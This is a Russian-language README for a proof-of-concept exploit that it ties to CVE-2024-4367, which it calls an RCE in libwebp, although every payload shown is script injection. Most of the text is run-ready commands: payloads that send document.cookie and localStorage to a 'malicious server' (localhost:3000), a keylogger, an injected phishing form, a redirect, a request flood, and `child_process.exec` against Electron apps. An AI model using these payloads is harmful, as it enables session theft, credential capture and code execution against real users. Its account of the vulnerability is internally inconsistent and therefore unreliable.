
PoC (Proof of Concept) для CVE-2024-4367 - RCE-уязвимость в libwebp. Полная демонстрация, включающая: создание полезных нагрузок (payloads), сценарии атак, анализ рисков и тестовый сервер Express.js.
Другой пример эксплуатации — внедрение простого сообщения-предупреждения для проверки успешности атаки.
python poc.py "alert('XSS exploit triggered');"
XSS-атака может использоваться для кражи куки жертвы и отправки их на вредоносный сервер.
python poc.py "fetch('http://localhost:3000/cookie', {method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({cookie: document.cookie})});"
http://localhost:3000/cookie).Злоумышленник может украсть конфиденциальные данные, хранящиеся в localStorage жертвы, такие как данные аутентификации или информация о сессии.
python poc.py "fetch('http://localhost:3000/localstorage', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({localstorage: JSON.stringify(localStorage)})});"
localStorage и отправляет их на вредоносный сервер через запрос fetch.Злоумышленник может перенаправить жертву на вредоносный сайт для получения дополнительной информации или загрузки другого эксплойта.
python poc.py "window.location.href='http://localhost:3000';"
Ещё один тип атаки — затопление сервера запросами, что может привести к ухудшению производительности или прерыванию обслуживания.
python poc.py "for (let i = 0; i < 100; i++) { fetch('http://localhost:3000/api'); }"
Злоумышленник может перехватывать нажатия клавиш жертвы, что позволяет ему получать конфиденциальные данные, такие как пароли или логины.
python poc.py """document.addEventListener('keydown', function(e) {
fetch('http://localhost:3000/keylogger?key=' + e.key);
});"""
Злоумышленник может использовать XSS для внедрения фишинговой формы на веб-страницу и таким образом украсть конфиденциальные данные (например, пароль, имя пользователя).
python poc.py """
var form = document.createElement('form');
form.method = 'POST';
form.action = 'http://localhost:3000/phishing';
var input = document.createElement('input');
input.type = 'text';
input.name = 'username';
form.appendChild(input);
document.body.appendChild(form);
form.submit();
"""
Если пользователь собирается нажать кнопку загрузки, мы изменим цель загрузки.
const a = document.createElement('a');
a.href = "https://example.com/fichier.pdf";
a.download = "fichier.pdf";
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
python poc.py "require('child_process').exec('calc.exe')"
Приложения, созданные на фреймворках, таких как Electron или NW.js, также могут быть подвержены XSS-атакам, поскольку они позволяют встраивать веб-контент в настольные приложения с расширенным локальным доступом.
Эти приложения благодаря своим разрешениям могут позволить злоумышленнику получить доступ к локальным файлам, выполнять внешние процессы или даже запускать другие приложения на целевой машине (например, калькулятор, текстовый редактор и т.д.). Это значительно увеличивает поверхность атаки, поскольку такие приложения сочетают мощь веба с более широким доступом к системе.
Атаки, эксплуатирующие CVE (Common Vulnerabilities and Exposures), могут позволить осуществить различные типы XSS-атак. Используя конкретные уязвимости в веб- или настольных приложениях, злоумышленник может внедрить вредоносный код, украсть конфиденциальные данные, манипулировать пользовательскими сессиями или выполнить вредоносные действия на целевой системе